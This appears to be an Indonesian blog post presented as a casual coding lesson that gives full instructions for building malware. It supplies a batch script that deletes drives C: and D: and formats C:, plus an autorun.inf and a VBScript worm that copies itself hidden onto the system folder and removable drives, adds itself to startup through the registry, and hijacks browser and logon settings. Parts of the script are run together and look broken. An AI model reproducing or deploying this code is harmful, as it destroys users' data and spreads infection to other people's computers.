sekedar iseng-iseng belajar coding dulu.. gua punya catatan lama nih dan ini juga mungkin banyak di temuin di postingan2 orang..
langsung aja yah..
- siapin notepad or notepad++ juga gpp kalo ada wuehehe..
- copy nih skrip..
@echo off
echo.
echo tulisan kalian
echo tulisan kalian
DEL C:\ -y
DEL D:\ -y
FORMAT C:\ -y
nah kalo yang ini buat Virus Autorun nya :
- Coding pertama :
[autorun]shellexecute=wscript.exe apiph.sys.vbs
simpan dengan nama dan ekstensi autorun.inf
- Coding kedua :
'apiph-X2'Varian dari apiph.VBSon error resume next 'Dim kata-kata berikutdim rekur,syspath,windowpath,desades,longka,mf,isi,tf,apiph,nt,check,sd'siapkan isi autorunisi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe apiph.sys.vbs"set apieph = createobject("Scripting.FileSystemObject")set mf = apieph.getfile(Wscript.ScriptFullname)dim text,sizesize = mf.sizecheck = mf.drive.drivetypeset text = mf.openastextstream(1,-2)do while not text.atendofstreamrekur = rekur & text.readlinerekur = rekur & vbcrlfloopdo'buat file indukSet windowpath = longka.getspecialfolder(0)Set syspath = longka.getspecialfolder(1)set tf = apieph.getfile(syspath & "\recycle.vbs")tf.attributes = 32set tf = apieph.createtextfile(syspath & "\recycle.vbs",2,true)tf.write rekurtf.closeset tf = apieph.getfile(syspath & "\recycle.vbs")tf.attributes = 39'sebar ke removable disc ditambahkan dengan Autorun.inffor each desades in apieph.drivesIf (desades.drivetype = 1 or desades.drivetype = 2) and desades.path "A:" thenset tf=apieph.getfile(desades.path &"\apiph.sys.vbs")tf.attributes =32set tf=apieph.createtextfile(desades.path &"\apiph.sys.vbs",2,true)tf.write rekurtf.closeset tf=apieph.getfile(desades.path &"\apiph.sys.vbs")tf.attributes = 39set tf =apieph.getfile(desades.path &"\autorun.inf")tf.attributes = 32set tf=apieph.createtextfile(desades.path &"\autorun.inf",2,true)tf.write isitf.closeset tf = longka.getfile(desades.path &"\autorun.inf")tf.attributes=39end ifnext'Manipulasi Registryset afif = createobject("WScript.Shell")'Ubah IE Titleafif.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: X2 ATTACK ::"'Ubah tulisan pertama pada text box menu RUNafif.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "AFIF-X2/1"afif.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "a"'Buat pesan saat Windows Startupafif.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "AFIF-X2"afif.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "Komputer Saya Diambil Alih"'Aktifkan saat Windows Startupafif.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", syspath & "\recycle.vbs"'Ubah Default Start Page Internet Explorerafif.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://thecyberboys.blogspot.com/"'Bonusif check 1 thenWscript.sleep 200000end ifloop while check 1set sd = createobject("Wscript.shell")sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
maaf yah tulisannya kecil tuh hehe sengaja biar gak tembus ke sebelah tulisanya wkkwkwkwkw..
simpan coding diatas ada dengan nama dan ekstensi file
apiph.sys.vbsnah jadi deh tuh virus wuehehe.. :D
dosa tanggung sendiri yah kalo mau jahil pake itu..